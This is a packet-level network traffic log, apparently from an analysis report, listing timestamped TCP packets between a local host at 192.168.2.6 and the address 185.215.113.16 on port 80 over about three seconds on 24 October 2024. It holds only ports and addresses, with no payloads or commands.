Oct 24, 2024 04:57:40.118716955 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.118721962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.118765116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.118845940 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.118859053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.118899107 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.199506044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.199521065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.199527979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.199628115 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.238034964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.238065958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.238080978 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.238096952 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.238120079 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.238153934 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.290133953 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.290153980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.290169954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.290222883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.318979025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.319066048 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.319071054 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.319092989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.319103956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.319148064 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.357364893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.357384920 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.357409954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.357423067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.357626915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.357626915 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.409316063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.409331083 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.409347057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.409528017 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.438476086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.438493013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.438508034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.438555002 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.438592911 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.476764917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.476783037 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.476798058 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.476813078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.476874113 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.476902962 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.528588057 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.528613091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.528639078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.528659105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.528666019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.528704882 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.557671070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.557689905 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.557707071 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.557797909 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.596240997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.596257925 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.596275091 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.596291065 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.596304893 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.596358061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.642865896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.647954941 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.647972107 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.647988081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.648042917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.676956892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.676975012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.676990032 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.677104950 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.715404034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.715456009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.715509892 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.867069006 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.867101908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.867120028 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.867131948 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.867142916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.867150068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.867156029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.867161989 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.867187023 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.867239952 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.867468119 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.867479086 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.867489100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.867541075 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.886511087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.886521101 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.886627913 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.916549921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.916562080 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.916646004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.955104113 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.955120087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.955127954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.955132961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.955180883 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:40.995584965 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.995595932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:40.995692015 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.035825968 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.035846949 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.035892010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.035901070 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.035921097 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.035943985 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.074511051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.074522018 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.074531078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.074563980 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.127336979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.155268908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.155294895 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.155322075 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.155353069 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.194555998 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.194593906 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.194621086 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.194631100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.194679976 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.194701910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.236578941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.242014885 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.242034912 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.242052078 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.242126942 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.274476051 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.274502039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.274522066 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.274578094 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.274656057 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.313381910 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.313437939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.313477039 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.313666105 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.361480951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.361506939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.361529112 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.361650944 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.393733025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.393769979 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.393804073 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.393841982 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.393873930 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.432612896 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.432668924 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.432756901 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.600049019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.600159883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.600193977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.600229025 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.600260973 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.600281000 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.600296021 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.600331068 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.600344896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.600366116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.600426912 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.600442886 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.600476027 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.600512981 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.600521088 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.632379055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.632436991 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.632597923 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.633403063 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.633431911 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.633457899 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.674005985 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.719446898 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.719480991 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.719515085 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.719547033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.719585896 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.719646931 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.752775908 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.752827883 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.752859116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.752892017 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.752926111 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.752959013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:41.752985001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:41.753015041 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.143359900 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143385887 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143402100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143416882 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143434048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143444061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.143450022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143467903 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143477917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.143484116 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143502951 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143543959 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.143548012 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143565893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143593073 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.143599033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143615961 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143631935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143644094 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.143650055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143666983 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.143673897 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.143709898 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.199049950 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.199084044 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.199141979 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.232358932 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.232377052 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.232393026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.232409954 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.232436895 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.232466936 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.262469053 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.262486935 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.262542009 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.318072081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.318113089 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.318205118 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.351958990 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.352018118 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.352056980 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.352076054 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.352097034 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.352154970 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.381836891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.381993055 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.382069111 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.437112093 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.437150002 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.437315941 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.470745087 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.470822096 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.470910072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.620352030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.620415926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.620451927 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.620485067 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.620486975 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.620521069 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.620534897 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.620558977 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.620614052 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.675719023 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.675750971 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.675906897 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.709294081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.709326029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.709388971 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.739614010 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.739645958 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.739813089 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.794960022 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.795001030 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.795061111 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.828424931 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.828490019 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.828521013 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.828553915 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.828556061 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.828602076 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.914175987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.914221048 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.914294004 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:42.947777033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.947818041 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.947833061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:42.947900057 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.002181053 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.010068893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.010118008 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.010157108 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.010175943 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.064713001 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.067009926 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.067054987 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.067090988 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.067125082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.111527920 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.129448891 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.129484892 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.129520893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.129538059 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.129554033 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.129612923 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.186476946 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.186528921 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.186559916 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.186594009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.186595917 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.186646938 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.249569893 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.249598026 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.249617100 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.249699116 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.299015999 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.305632114 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.305648088 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.305661917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.305685997 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.305725098 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.305768013 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.367954969 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.367970943 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.367986917 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.368021965 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.408435106 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.421920061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.421946049 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.422039986 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.424951077 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.424989939 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.425005913 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.425035000 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.470910072 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.487221956 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.487247944 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.487262964 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.487420082 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.544446945 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.544532061 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.544547081 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.544564009 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.544579029 CEST	80	49774	185.215.113.16	192.168.2.6
Oct 24, 2024 04:57:43.544589043 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.544610977 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.595890045 CEST	49774	80	192.168.2.6	185.215.113.16
Oct 24, 2024 04:57:43.815099001 CEST	80	49774	185.215.113.16	192.168.2.6
